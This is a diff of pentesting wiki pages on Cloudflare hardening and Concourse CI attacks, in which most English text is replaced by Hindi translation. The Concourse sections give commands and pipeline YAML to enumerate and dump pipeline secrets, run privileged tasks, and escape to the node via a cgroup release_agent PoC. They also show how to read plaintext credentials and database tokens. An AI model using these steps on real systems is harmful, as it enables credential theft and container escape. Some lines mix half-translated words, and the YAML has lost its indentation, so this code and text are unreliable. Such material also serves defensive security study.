- - [ ] Check that the **`Security Level`** is **medium** or greater
- - [ ] Check that the **`Challenge Passage`** is 1 hour at max
- - [ ] Check that the **`Browser Integrity Check`** is **enabled**
- - [ ] Check that the **`Privacy Pass Support`** is **enabled**
+- [ ] Check that the **`Security Level`** is **medium** or greater
+- [ ] Check that the **`Challenge Passage`** is 1 hour at max
+- [ ] Check that the **`Browser Integrity Check`** is **enabled**
+- [ ] Check that the **`Privacy Pass Support`** is **enabled**
#### **CloudFlare DDoS Protection**
- If you can, enable **Bot Fight Mode** or **Super Bot Fight Mode**. If you protecting some API accessed programmatically (from a JS front end page for example). You might not be able to enable this without breaking that access.
- In **WAF**: You can create **rate limits by URL path** or to **verified bots** (Rate limiting rules), or to **block access** based on IP, Cookie, referrer...). So you could block requests that doesn't come from a web page or has a cookie.
- - If the attack is from a **verified bot**, at least **add a rate limit** to bots.
- - If the attack is to a **specific path**, as prevention mechanism, add a **rate limit** in this path.
- - You can also **whitelist** IP addresses, IP ranges, countries or ASNs from the **Tools** in WAF.
- - Check if **Managed rules** could also help to prevent vulnerability exploitations.
- - In the **Tools** section you can **block or give a challenge to specific IPs** and **user agents.**
+- If the attack is from a **verified bot**, at least **add a rate limit** to bots.
+- If the attack is to a **specific path**, as prevention mechanism, add a **rate limit** in this path.
+- You can also **whitelist** IP addresses, IP ranges, countries or ASNs from the **Tools** in WAF.
+- Check if **Managed rules** could also help to prevent vulnerability exploitations.
+- In the **Tools** section you can **block or give a challenge to specific IPs** and **user agents.**
- In DDoS you could **override some rules to make them more restrictive**.
- **Settings**: Set **Security Level** to **High** and to **Under Attack** if you are Under Attack and that the **Browser Integrity Check is enabled**.
- In Cloudflare Domains -> Analytics -> Security -> Check if **rate limit** is enabled
@@ -131,7 +131,3 @@ TODO
TODO
{{#include ../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-ci-cd/cloudflare-security/cloudflare-zero-trust-network.md b/src/pentesting-ci-cd/cloudflare-security/cloudflare-zero-trust-network.md
index 491ae7bc1..9aad5d6a4 100644
--- a/src/pentesting-ci-cd/cloudflare-security/cloudflare-zero-trust-network.md
+++ b/src/pentesting-ci-cd/cloudflare-security/cloudflare-zero-trust-network.md
@@ -13,8 +13,8 @@ In a **Cloudflare Zero Trust Network** account there are some **settings and ser
### **Gateway**
- [ ] In **`Policies`** it's possible to generate policies to **restrict** by **DNS**, **network** or **HTTP** request who can access applications.
- - If used, **policies** could be created to **restrict** the access to malicious sites.
- - This is **only relevant if a gateway is being used**, if not, there is no reason to create defensive policies.
+- If used, **policies** could be created to **restrict** the access to malicious sites.
+- This is **only relevant if a gateway is being used**, if not, there is no reason to create defensive policies.
### Access
@@ -23,18 +23,18 @@ In a **Cloudflare Zero Trust Network** account there are some **settings and ser
On each application:
- [ ] Check **who** can access to the application in the **Policies** and check that **only** the **users** that **need access** to the application can access.
- - To allow access **`Access Groups`** are going to be used (and **additional rules** can be set also)
+- To allow access **`Access Groups`** are going to be used (and **additional rules** can be set also)
- [ ] Check the **available identity providers** and make sure they **aren't too open**
- [ ] In **`Settings`**:
- - [ ] Check **CORS isn't enabled** (if it's enabled, check it's **secure** and it isn't allowing everything)
- - [ ] Cookies should have **Strict Same-Site** attribute, **HTTP Only** and **binding cookie** should be **enabled** if the application is HTTP.
- - [ ] Consider enabling also **Browser rendering** for better **protection. More info about** [**remote browser isolation here**](https://blog.cloudflare.com/cloudflare-and-remote-browser-isolation/)**.**
+- [ ] Check **CORS isn't enabled** (if it's enabled, check it's **secure** and it isn't allowing everything)
+- [ ] Cookies should have **Strict Same-Site** attribute, **HTTP Only** and **binding cookie** should be **enabled** if the application is HTTP.
+- [ ] Consider enabling also **Browser rendering** for better **protection. More info about** [**remote browser isolation here**](https://blog.cloudflare.com/cloudflare-and-remote-browser-isolation/)**.**
#### **Access Groups**
- [ ] Check that the access groups generated are **correctly restricted** to the users they should allow.
- [ ] It's specially important to check that the **default access group isn't very open** (it's **not allowing too many people**) as by **default** anyone in that **group** is going to be able to **access applications**.
- - Note that it's possible to give **access** to **EVERYONE** and other **very open policies** that aren't recommended unless 100% necessary.
+- Note that it's possible to give **access** to **EVERYONE** and other **very open policies** that aren't recommended unless 100% necessary.
#### Service Auth
@@ -59,7 +59,3 @@ TODO
- [ ] It's recommended to **add a User Seat Expiration** to remove users that doesn't really use this service
{{#include ../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-ci-cd/concourse-security/README.md b/src/pentesting-ci-cd/concourse-security/README.md
index bcf20facf..53ef08ab9 100644
--- a/src/pentesting-ci-cd/concourse-security/README.md
+++ b/src/pentesting-ci-cd/concourse-security/README.md
@@ -4,11 +4,11 @@
## Basic Information
-Concourse allows you to **build pipelines** to automatically run tests, actions and build images whenever you need it (time based, when something happens...)
+Concourse आपको **पाइपलाइनों** का निर्माण करने की अनुमति देता है ताकि आप जब भी आवश्यकता हो (समय आधारित, जब कुछ होता है...) परीक्षण, क्रियाएँ और छवियाँ स्वचालित रूप से चला सकें।
## Concourse Architecture
-Learn how the concourse environment is structured in:
+जानें कि concourse वातावरण कैसे संरचित है:
{{#ref}}
concourse-architecture.md
@@ -16,7 +16,7 @@ concourse-architecture.md
## Concourse Lab
-Learn how you can run a concourse environment locally to do your own tests in:
+जानें कि आप अपने परीक्षण करने के लिए स्थानीय रूप से concourse वातावरण कैसे चला सकते हैं:
{{#ref}}
concourse-lab-creation.md
@@ -24,14 +24,10 @@ concourse-lab-creation.md
## Enumerate & Attack Concourse
-Learn how you can enumerate the concourse environment and abuse it in:
+जानें कि आप concourse वातावरण को कैसे सूचीबद्ध कर सकते हैं और इसका दुरुपयोग कैसे कर सकते हैं:
{{#ref}}
concourse-enumeration-and-attacks.md
{{#endref}}
{{#include ../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-ci-cd/concourse-security/concourse-architecture.md b/src/pentesting-ci-cd/concourse-security/concourse-architecture.md
index d70167906..1f84220ff 100644
--- a/src/pentesting-ci-cd/concourse-security/concourse-architecture.md
+++ b/src/pentesting-ci-cd/concourse-security/concourse-architecture.md
@@ -4,39 +4,35 @@
{{#include ../../banners/hacktricks-training.md}}
-[**Relevant data from Concourse documentation:**](https://concourse-ci.org/internals.html)
+[**Concourse दस्तावेज़ से प्रासंगिक डेटा:**](https://concourse-ci.org/internals.html)
### Architecture
.png>)
-#### ATC: web UI & build scheduler
+#### ATC: वेब UI और निर्माण शेड्यूलर
-The ATC is the heart of Concourse. It runs the **web UI and API** and is responsible for all pipeline **scheduling**. It **connects to PostgreSQL**, which it uses to store pipeline data (including build logs).
+ATC Concourse का दिल है। यह **वेब UI और API** चलाता है और सभी पाइपलाइन **शेड्यूलिंग** के लिए जिम्मेदार है। यह **PostgreSQL** से **जुड़ता है**, जिसका उपयोग यह पाइपलाइन डेटा (निर्माण लॉग सहित) संग्रहीत करने के लिए करता है।
-The [checker](https://concourse-ci.org/checker.html)'s responsibility is to continuously checks for new versions of resources. The [scheduler](https://concourse-ci.org/scheduler.html) is responsible for scheduling builds for a job and the [build tracker](https://concourse-ci.org/build-tracker.html) is responsible for running any scheduled builds. The [garbage collector](https://concourse-ci.org/garbage-collector.html) is the cleanup mechanism for removing any unused or outdated objects, such as containers and volumes.
+[checker](https://concourse-ci.org/checker.html) की जिम्मेदारी नए संसाधनों के संस्करणों की लगातार जांच करना है। [scheduler](https://concourse-ci.org/scheduler.html) किसी नौकरी के लिए निर्माणों को शेड्यूल करने के लिए जिम्मेदार है और [build tracker](https://concourse-ci.org/build-tracker.html) किसी भी शेड्यूल किए गए निर्माणों को चलाने के लिए जिम्मेदार है। [garbage collector](https://concourse-ci.org/garbage-collector.html) किसी भी अप्रयुक्त या पुरानी वस्तुओं, जैसे कंटेनरों और वॉल्यूम को हटाने के लिए सफाई तंत्र है।
-#### TSA: worker registration & forwarding
+#### TSA: कार्यकर्ता पंजीकरण और अग्रेषण
-The TSA is a **custom-built SSH server** that is used solely for securely **registering** [**workers**](https://concourse-ci.org/internals.html#architecture-worker) with the [ATC](https://concourse-ci.org/internals.html#component-atc).
+TSA एक **कस्टम-निर्मित SSH सर्वर** है जिसका उपयोग केवल [**कार्यकर्ताओं**](https://concourse-ci.org/internals.html#architecture-worker) को [ATC](https://concourse-ci.org/internals.html#component-atc) के साथ सुरक्षित रूप से **पंजीकरण** करने के लिए किया जाता है।
-The TSA by **default listens on port `2222`**, and is usually colocated with the [ATC](https://concourse-ci.org/internals.html#component-atc) and sitting behind a load balancer.
+TSA **डिफ़ॉल्ट रूप से `2222` पोर्ट पर सुनता है**, और आमतौर पर [ATC](https://concourse-ci.org/internals.html#component-atc) के साथ स्थित होता है और लोड बैलेंसर के पीछे होता है।
-The **TSA implements CLI over the SSH connection,** supporting [**these commands**](https://concourse-ci.org/internals.html#component-tsa).
+**TSA SSH कनेक्शन पर CLI लागू करता है,** [**इन आदेशों**](https://concourse-ci.org/internals.html#component-tsa) का समर्थन करता है।
#### Workers
-In order to execute tasks concourse must have some workers. These workers **register themselves** via the [TSA](https://concourse-ci.org/internals.html#component-tsa) and run the services [**Garden**](https://github.com/cloudfoundry-incubator/garden) and [**Baggageclaim**](https://github.com/concourse/baggageclaim).
+कार्य करने के लिए Concourse को कुछ कार्यकर्ताओं की आवश्यकता होती है। ये कार्यकर्ता [TSA](https://concourse-ci.org/internals.html#component-tsa) के माध्यम से **स्वयं को पंजीकृत** करते हैं और सेवाओं [**Garden**](https://github.com/cloudfoundry-incubator/garden) और [**Baggageclaim**](https://github.com/concourse/baggageclaim) को चलाते हैं।
-- **Garden**: This is the **Container Manage AP**I, usually run in **port 7777** via **HTTP**.
-- **Baggageclaim**: This is the **Volume Management API**, usually run in **port 7788** via **HTTP**.
+- **Garden**: यह **कंटेनर प्रबंधन API** है, जो आमतौर पर **HTTP** के माध्यम से **पोर्ट 7777** पर चलता है।
+- **Baggageclaim**: यह **वॉल्यूम प्रबंधन API** है, जो आमतौर पर **HTTP** के माध्यम से **पोर्ट 7788** पर चलता है।
## References
- [https://concourse-ci.org/internals.html](https://concourse-ci.org/internals.html)
{{#include ../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-ci-cd/concourse-security/concourse-enumeration-and-attacks.md b/src/pentesting-ci-cd/concourse-security/concourse-enumeration-and-attacks.md
index 4b778a804..ce0a295cb 100644
--- a/src/pentesting-ci-cd/concourse-security/concourse-enumeration-and-attacks.md
+++ b/src/pentesting-ci-cd/concourse-security/concourse-enumeration-and-attacks.md
@@ -6,47 +6,45 @@
### User Roles & Permissions
-Concourse comes with five roles:
+Concourse में पांच भूमिकाएँ होती हैं:
-- _Concourse_ **Admin**: This role is only given to owners of the **main team** (default initial concourse team). Admins can **configure other teams** (e.g.: `fly set-team`, `fly destroy-team`...). The permissions of this role cannot be affected by RBAC.
-- **owner**: Team owners can **modify everything within the team**.
-- **member**: Team members can **read and write** within the **teams assets** but cannot modify the team settings.
-- **pipeline-operator**: Pipeline operators can perform **pipeline operations** such as triggering builds and pinning resources, however they cannot update pipeline configurations.
-- **viewer**: Team viewers have **"read-only" access to a team** and its pipelines.
+- _Concourse_ **Admin**: यह भूमिका केवल **मुख्य टीम** (डिफ़ॉल्ट प्रारंभिक concourse टीम) के मालिकों को दी जाती है। एडमिन **अन्य टीमों को कॉन्फ़िगर** कर सकते हैं (जैसे: `fly set-team`, `fly destroy-team`...)। इस भूमिका के अनुमतियों को RBAC द्वारा प्रभावित नहीं किया जा सकता।
+- **owner**: टीम के मालिक **टीम के भीतर सब कुछ संशोधित** कर सकते हैं।
+- **member**: टीम के सदस्य **टीम की संपत्तियों के भीतर पढ़ सकते हैं और लिख सकते हैं** लेकिन टीम सेटिंग्स को संशोधित नहीं कर सकते।
+- **pipeline-operator**: पाइपलाइन ऑपरेटर **पाइपलाइन संचालन** कर सकते हैं जैसे बिल्ड को ट्रिगर करना और संसाधनों को पिन करना, हालाँकि वे पाइपलाइन कॉन्फ़िगरेशन को अपडेट नहीं कर सकते।
+- **viewer**: टीम के दर्शकों को **टीम** और इसकी पाइपलाइनों तक **"पढ़ने के लिए केवल"** पहुंच होती है।
> [!NOTE]
-> Moreover, the **permissions of the roles owner, member, pipeline-operator and viewer can be modified** configuring RBAC (configuring more specifically it's actions). Read more about it in: [https://concourse-ci.org/user-roles.html](https://concourse-ci.org/user-roles.html)
+> इसके अलावा, **owner, member, pipeline-operator और viewer की भूमिकाओं के अनुमतियों को RBAC कॉन्फ़िगर करके संशोधित किया जा सकता है** (विशेष रूप से इसके कार्यों को कॉन्फ़िगर करना)। इसके बारे में अधिक पढ़ें: [https://concourse-ci.org/user-roles.html](https://concourse-ci.org/user-roles.html)
-Note that Concourse **groups pipelines inside Teams**. Therefore users belonging to a Team will be able to manage those pipelines and **several Teams** might exist. A user can belong to several Teams and have different permissions inside each of them.
+ध्यान दें कि Concourse **टीमों के भीतर पाइपलाइनों को समूहित करता है**। इसलिए, एक टीम से संबंधित उपयोगकर्ता उन पाइपलाइनों का प्रबंधन कर सकेंगे और **कई टीमें** हो सकती हैं। एक उपयोगकर्ता कई टीमों से संबंधित हो सकता है और प्रत्येक में विभिन्न अनुमतियाँ हो सकती हैं।
### Vars & Credential Manager
-In the YAML configs you can configure values using the syntax `((_source-name_:_secret-path_._secret-field_))`.\
-[From the docs:](https://concourse-ci.org/vars.html#var-syntax) The **source-name is optional**, and if omitted, the [cluster-wide credential manager](https://concourse-ci.org/vars.html#cluster-wide-credential-manager) will be used, or the value may be provided [statically](https://concourse-ci.org/vars.html#static-vars).\
-The **optional \_secret-field**\_ specifies a field on the fetched secret to read. If omitted, the credential manager may choose to read a 'default field' from the fetched credential if the field exists.\
-Moreover, the _**secret-path**_ and _**secret-field**_ may be surrounded by double quotes `"..."` if they **contain special characters** like `.` and `:`. For instance, `((source:"my.secret"."field:1"))` will set the _secret-path_ to `my.secret` and the _secret-field_ to `field:1`.
+YAML कॉन्फ़िग्स में आप `((_source-name_:_secret-path_._secret-field_))` सिंटैक्स का उपयोग करके मान कॉन्फ़िगर कर सकते हैं।\
+[दस्तावेज़ से:](https://concourse-ci.org/vars.html#var-syntax) **source-name वैकल्पिक है**, और यदि छोड़ा गया है, तो [क्लस्टर-व्यापी क्रेडेंशियल प्रबंधक](https://concourse-ci.org/vars.html#cluster-wide-credential-manager) का उपयोग किया जाएगा, या मान [स्थैतिक रूप से](https://concourse-ci.org/vars.html#static-vars) प्रदान किया जा सकता है।\
+**वैकल्पिक \_secret-field**\_ उस फ़ील्ड को निर्दिष्ट करता है जिसे प्राप्त किए गए रहस्य से पढ़ा जाना है। यदि छोड़ा गया है, तो क्रेडेंशियल प्रबंधक प्राप्त किए गए क्रेडेंशियल से 'डिफ़ॉल्ट फ़ील्ड' पढ़ने का विकल्प चुन सकता है यदि फ़ील्ड मौजूद है।\
+इसके अलावा, _**secret-path**_ और _**secret-field**_ को डबल कोट्स `"..."` में रखा जा सकता है यदि वे **विशेष वर्ण** जैसे `.` और `:` शामिल करते हैं। उदाहरण के लिए, `((source:"my.secret"."field:1"))` _secret-path_ को `my.secret` और _secret-field_ को `field:1` पर सेट करेगा।
#### Static Vars
-Static vars can be specified in **tasks steps**:
-
+स्थैतिक vars को **कार्य चरणों** में निर्दिष्ट किया जा सकता है:
```yaml
- task: unit-1.13
- file: booklit/ci/unit.yml
- vars: { tag: 1.13 }
+file: booklit/ci/unit.yml
+vars: { tag: 1.13 }
```
-
Or using the following `fly` **arguments**:
-- `-v` or `--var` `NAME=VALUE` sets the string `VALUE` as the value for the var `NAME`.
-- `-y` or `--yaml-var` `NAME=VALUE` parses `VALUE` as YAML and sets it as the value for the var `NAME`.
-- `-i` or `--instance-var` `NAME=VALUE` parses `VALUE` as YAML and sets it as the value for the instance var `NAME`. See [Grouping Pipelines](https://concourse-ci.org/instanced-pipelines.html) to learn more about instance vars.
-- `-l` or `--load-vars-from` `FILE` loads `FILE`, a YAML document containing mapping var names to values, and sets them all.
+- `-v` or `--var` `NAME=VALUE` स्ट्रिंग `VALUE` को var `NAME` के लिए मान के रूप में सेट करता है।
+- `-y` or `--yaml-var` `NAME=VALUE` `VALUE` को YAML के रूप में पार्स करता है और इसे var `NAME` के लिए मान के रूप में सेट करता है।
+- `-i` or `--instance-var` `NAME=VALUE` `VALUE` को YAML के रूप में पार्स करता है और इसे instance var `NAME` के लिए मान के रूप में सेट करता है। instance vars के बारे में अधिक जानने के लिए [Grouping Pipelines](https://concourse-ci.org/instanced-pipelines.html) देखें।
+- `-l` or `--load-vars-from` `FILE` `FILE` को लोड करता है, जो मानों के लिए var नामों को मैप करने वाला एक YAML दस्तावेज़ है, और उन्हें सभी सेट करता है।
#### Credential Management
-There are different ways a **Credential Manager can be specified** in a pipeline, read how in [https://concourse-ci.org/creds.html](https://concourse-ci.org/creds.html).\
-Moreover, Concourse supports different credential managers:
+एक पाइपलाइन में **Credential Manager को विभिन्न तरीकों से निर्दिष्ट किया जा सकता है**, इसके बारे में पढ़ें [https://concourse-ci.org/creds.html](https://concourse-ci.org/creds.html)।\
+इसके अलावा, Concourse विभिन्न क्रेडेंशियल प्रबंधकों का समर्थन करता है:
- [The Vault credential manager](https://concourse-ci.org/vault-credential-manager.html)
- [The CredHub credential manager](https://concourse-ci.org/credhub-credential-manager.html)
@@ -59,66 +57,64 @@ Moreover, Concourse supports different credential managers:
- [Retrying failed fetches](https://concourse-ci.org/creds-retry-logic.html)
> [!CAUTION]
-> Note that if you have some kind of **write access to Concourse** you can create jobs to **exfiltrate those secrets** as Concourse needs to be able to access them.
+> ध्यान दें कि यदि आपके पास **Concourse पर कुछ प्रकार की लिखने की पहुंच** है तो आप **उन रहस्यों को निकालने के लिए नौकरियां बना सकते हैं** क्योंकि Concourse को उन्हें एक्सेस करने में सक्षम होना चाहिए।
### Concourse Enumeration
-In order to enumerate a concourse environment you first need to **gather valid credentials** or to find an **authenticated token** probably in a `.flyrc` config file.
+एक concourse वातावरण को सूचीबद्ध करने के लिए, आपको पहले **मान्य क्रेडेंशियल्स** इकट्ठा करने की आवश्यकता है या एक **प्रमाणित टोकन** खोजने की आवश्यकता है जो शायद एक `.flyrc` कॉन्फ़िग फ़ाइल में हो।
#### Login and Current User enum
-- To login you need to know the **endpoint**, the **team name** (default is `main`) and a **team the user belongs to**:
- - `fly --target example login --team-name my-team --concourse-url https://ci.example.com [--insecure] [--client-cert=./path --client-key=./path]`
-- Get configured **targets**:
- - `fly targets`
-- Get if the configured **target connection** is still **valid**:
- - `fly -t status`
-- Get **role** of the user against the indicated target:
- - `fly -t userinfo`
+- लॉगिन करने के लिए आपको **endpoint**, **team name** (डिफ़ॉल्ट `main` है) और **team जिसका उपयोगकर्ता सदस्य है** जानना होगा:
+- `fly --target example login --team-name my-team --concourse-url https://ci.example.com [--insecure] [--client-cert=./path --client-key=./path]`
+- कॉन्फ़िगर किए गए **targets** प्राप्त करें:
+- `fly targets`
+- जांचें कि कॉन्फ़िगर किया गया **target connection** अभी भी **मान्य** है:
+- `fly -t status`
+- निर्दिष्ट लक्ष्य के खिलाफ उपयोगकर्ता की **भूमिका** प्राप्त करें:
+- `fly -t userinfo`
> [!NOTE]
-> Note that the **API token** is **saved** in `$HOME/.flyrc` by default, you looting a machines you could find there the credentials.
+> ध्यान दें कि **API token** डिफ़ॉल्ट रूप से `$HOME/.flyrc` में **सहेजा गया** है, आप मशीनों को लूटते समय वहां क्रेडेंशियल्स पा सकते हैं।
#### Teams & Users
-- Get a list of the Teams
- - `fly -t teams`
-- Get roles inside team
- - `fly -t get-team -n `
-- Get a list of users
- - `fly -t active-users`
+- टीमों की सूची प्राप्त करें
+- `fly -t teams`
+- टीम के भीतर भूमिकाएँ प्राप्त करें
+- `fly -t get-team -n `
+- उपयोगकर्ताओं की सूची प्राप्त करें
+- `fly -t active-users`
#### Pipelines
-- **List** pipelines:
- - `fly -t pipelines -a`
-- **Get** pipeline yaml (**sensitive information** might be found in the definition):
- - `fly -t get-pipeline -p `
-- Get all pipeline **config declared vars**
- - `for pipename in $(fly -t pipelines | grep -Ev "^id" | awk '{print $2}'); do echo $pipename; fly -t get-pipeline -p $pipename -j | grep -Eo '"vars":[^}]+'; done`
-- Get all the **pipelines secret names used** (if you can create/modify a job or hijack a container you could exfiltrate them):
-
+- **सूची** पाइपलाइनों की:
+- `fly -t pipelines -a`
+- पाइपलाइन yaml प्राप्त करें (**संवेदनशील जानकारी** परिभाषा में मिल सकती है):
+- `fly -t get-pipeline -p `
+- सभी पाइपलाइन **config घोषित vars** प्राप्त करें
+- `for pipename in $(fly -t pipelines | grep -Ev "^id" | awk '{print $2}'); do echo $pipename; fly -t get-pipeline -p $pipename -j | grep -Eo '"vars":[^}]+'; done`
+- सभी **pipelines secret names used** प्राप्त करें (यदि आप एक नौकरी बना/संशोधित कर सकते हैं या एक कंटेनर को हाईजैक कर सकते हैं तो आप उन्हें निकाल सकते हैं):
```bash
rm /tmp/secrets.txt;
for pipename in $(fly -t onelogin pipelines | grep -Ev "^id" | awk '{print $2}'); do
- echo $pipename;
- fly -t onelogin get-pipeline -p $pipename | grep -Eo '\(\(.*\)\)' | sort | uniq | tee -a /tmp/secrets.txt;
- echo "";
+echo $pipename;
+fly -t onelogin get-pipeline -p $pipename | grep -Eo '\(\(.*\)\)' | sort | uniq | tee -a /tmp/secrets.txt;
+echo "";
done
echo ""
echo "ALL SECRETS"
cat /tmp/secrets.txt | sort | uniq
rm /tmp/secrets.txt
```
-
#### Containers & Workers
- List **workers**:
- - `fly -t workers`
+- `fly -t workers`
- List **containers**:
- - `fly -t containers`
+- `fly -t containers`
- List **builds** (to see what is running):
- - `fly -t builds`
+- `fly -t builds`
### Concourse Attacks
@@ -129,90 +125,83 @@ rm /tmp/secrets.txt
#### Secrets and params enumeration
-In the previous section we saw how you can **get all the secrets names and vars** used by the pipeline. The **vars might contain sensitive info** and the name of the **secrets will be useful later to try to steal** them.
+पिछले अनुभाग में हमने देखा कि आप **पाइपलाइन द्वारा उपयोग किए जाने वाले सभी रहस्यों के नाम और वेरिएबल्स प्राप्त कर सकते हैं**। **वेरिएबल्स में संवेदनशील जानकारी हो सकती है** और **रहस्यों के नाम बाद में उन्हें चुराने की कोशिश करने के लिए उपयोगी होंगे**।
#### Session inside running or recently run container
-If you have enough privileges (**member role or more**) you will be able to **list pipelines and roles** and just get a **session inside** the `/` **container** using:
-
+यदि आपके पास पर्याप्त विशेषाधिकार (**सदस्य भूमिका या अधिक**) हैं, तो आप **पाइपलाइनों और भूमिकाओं की सूची** प्राप्त कर सकेंगे और बस `/` **कंटेनर** के अंदर एक **सत्र प्राप्त कर सकेंगे**:
```bash
fly -t tutorial intercept --job pipeline-name/job-name
fly -t tutorial intercept # To be presented a prompt with all the options
```
+इन अनुमतियों के साथ आप सक्षम हो सकते हैं:
-With these permissions you might be able to:
+- **गुप्त जानकारियाँ चुराना** **कंटेनर** के अंदर
+- **नोड** पर **भागने** की कोशिश करना
+- **क्लाउड मेटाडेटा** एंडपॉइंट को सूचीबद्ध/दुरुपयोग करना (पॉड से और नोड से, यदि संभव हो)
-- **Steal the secrets** inside the **container**
-- Try to **escape** to the node
-- Enumerate/Abuse **cloud metadata** endpoint (from the pod and from the node, if possible)
-
-#### Pipeline Creation/Modification
-
-If you have enough privileges (**member role or more**) you will be able to **create/modify new pipelines.** Check this example:
+#### पाइपलाइन निर्माण/संशोधन
+यदि आपके पास पर्याप्त विशेषाधिकार हैं (**सदस्य भूमिका या अधिक**) तो आप **नई पाइपलाइनों को बना/संशोधित** करने में सक्षम होंगे। इस उदाहरण को देखें:
```yaml
jobs:
- - name: simple
- plan:
- - task: simple-task
- privileged: true
- config:
- # Tells Concourse which type of worker this task should run on
- platform: linux
- image_resource:
- type: registry-image
- source:
- repository: busybox # images are pulled from docker hub by default
- run:
- path: sh
- args:
- - -cx
- - |
- echo "$SUPER_SECRET"
- sleep 1000
- params:
- SUPER_SECRET: ((super.secret))
+- name: simple
+plan:
+- task: simple-task
+privileged: true
+config:
+# Tells Concourse which type of worker this task should run on
+platform: linux
+image_resource:
+type: registry-image
+source:
+repository: busybox # images are pulled from docker hub by default
+run:
+path: sh
+args:
+- -cx
+- |
+echo "$SUPER_SECRET"
+sleep 1000
+params:
+SUPER_SECRET: ((super.secret))
```
-
With the **modification/creation** of a new pipeline you will be able to:
-- **Steal** the **secrets** (via echoing them out or getting inside the container and running `env`)
-- **Escape** to the **node** (by giving you enough privileges - `privileged: true`)
-- Enumerate/Abuse **cloud metadata** endpoint (from the pod and from the node)
-- **Delete** created pipeline
+- **चुराना** the **गुप्त** (via echoing them out or getting inside the container and running `env`)
+- **भागना** to the **नोड** (by giving you enough privileges - `privileged: true`)
+- Enumerate/Abuse **क्लाउड मेटाडेटा** endpoint (from the pod and from the node)
+- **हटाना** created pipeline
#### Execute Custom Task
-This is similar to the previous method but instead of modifying/creating a whole new pipeline you can **just execute a custom task** (which will probably be much more **stealthier**):
-
+This is similar to the previous method but instead of modifying/creating a whole new pipeline you can **just execute a custom task** (which will probably be much more **गुप्त**):
```yaml
# For more task_config options check https://concourse-ci.org/tasks.html
platform: linux
image_resource:
- type: registry-image
- source:
- repository: ubuntu
+type: registry-image
+source:
+repository: ubuntu
run:
- path: sh
- args:
- - -cx
- - |
- env
- sleep 1000
+path: sh
+args:
+- -cx
+- |
+env
+sleep 1000
params:
- SUPER_SECRET: ((super.secret))
+SUPER_SECRET: ((super.secret))
```
```bash
fly -t tutorial execute --privileged --config task_config.yml
```
-
#### Escaping to the node from privileged task
In the previous sections we saw how to **execute a privileged task with concourse**. This won't give the container exactly the same access as the privileged flag in a docker container. For example, you won't see the node filesystem device in /dev, so the escape could be more "complex".
In the following PoC we are going to use the release_agent to escape with some small modifications:
-
```bash
# Mounts the RDMA cgroup controller and create a child cgroup
# If you're following along and get "mount: /tmp/cgrp: special device cgroup does not exist"
@@ -270,14 +259,12 @@ sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
# Reads the output
cat /output
```
-
> [!WARNING]
-> As you might have noticed this is just a [**regular release_agent escape**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/concourse-security/broken-reference/README.md) just modifying the path of the cmd in the node
+> जैसा कि आपने देखा होगा, यह केवल एक [**सामान्य release_agent escape**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/concourse-security/broken-reference/README.md) है जो नोड में cmd के पथ को संशोधित करता है।
-#### Escaping to the node from a Worker container
-
-A regular release_agent escape with a minor modification is enough for this:
+#### एक वर्कर कंटेनर से नोड में भागना
+इसके लिए एक सामान्य release_agent escape में एक छोटा संशोधन पर्याप्त है:
```bash
mkdir /tmp/cgrp && mount -t cgroup -o memory cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
@@ -304,13 +291,11 @@ sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
# Reads the output
cat /output
```
+#### Web कंटेनर से नोड पर भागना
-#### Escaping to the node from the Web container
-
-Even if the web container has some defenses disabled it's **not running as a common privileged container** (for example, you **cannot** **mount** and the **capabilities** are very **limited**, so all the easy ways to escape from the container are useless).
-
-However, it stores **local credentials in clear text**:
+भले ही वेब कंटेनर में कुछ सुरक्षा उपाय निष्क्रिय हैं, यह **एक सामान्य विशेषाधिकार प्राप्त कंटेनर के रूप में नहीं चल रहा है** (उदाहरण के लिए, आप **माउंट** नहीं कर सकते और **क्षमताएँ** बहुत **सीमित** हैं, इसलिए कंटेनर से भागने के सभी आसान तरीके बेकार हैं)।
+हालांकि, यह **स्थानीय क्रेडेंशियल्स को स्पष्ट पाठ में** संग्रहीत करता है:
```bash
cat /concourse-auth/local-users
test:test
@@ -319,11 +304,9 @@ env | grep -i local_user
CONCOURSE_MAIN_TEAM_LOCAL_USER=test
CONCOURSE_ADD_LOCAL_USER=test:test
```
+आप उन क्रेडेंशियल्स का उपयोग करके **वेब सर्वर के खिलाफ लॉगिन** कर सकते हैं और **एक विशेषाधिकार प्राप्त कंटेनर बना सकते हैं और नोड से बाहर निकल सकते हैं**।
-You cloud use that credentials to **login against the web server** and **create a privileged container and escape to the node**.
-
-In the environment you can also find information to **access the postgresql** instance that concourse uses (address, **username**, **password** and database among other info):
-
+पर्यावरण में आप **पोस्टग्रेसक्यूएल** उदाहरण तक पहुँचने के लिए जानकारी भी पा सकते हैं जो concourse उपयोग करता है (पता, **उपयोगकर्ता नाम**, **पासवर्ड** और डेटाबेस सहित अन्य जानकारी):
```bash
env | grep -i postg
CONCOURSE_RELEASE_POSTGRESQL_PORT_5432_TCP_ADDR=10.107.191.238
@@ -344,39 +327,35 @@ select * from refresh_token;
select * from teams; #Change the permissions of the users in the teams
select * from users;
```
-
-#### Abusing Garden Service - Not a real Attack
+#### गार्डन सेवा का दुरुपयोग - एक असली हमला नहीं
> [!WARNING]
-> This are just some interesting notes about the service, but because it's only listening on localhost, this notes won't present any impact we haven't already exploited before
+> ये केवल सेवा के बारे में कुछ दिलचस्प नोट्स हैं, लेकिन क्योंकि यह केवल लोकलहोस्ट पर सुन रहा है, ये नोट्स कोई ऐसा प्रभाव नहीं डालेंगे जिसे हमने पहले ही शोषण किया है
-By default each concourse worker will be running a [**Garden**](https://github.com/cloudfoundry/garden) service in port 7777. This service is used by the Web master to indicate the worker **what he needs to execute** (download the image and run each task). This sound pretty good for an attacker, but there are some nice protections:
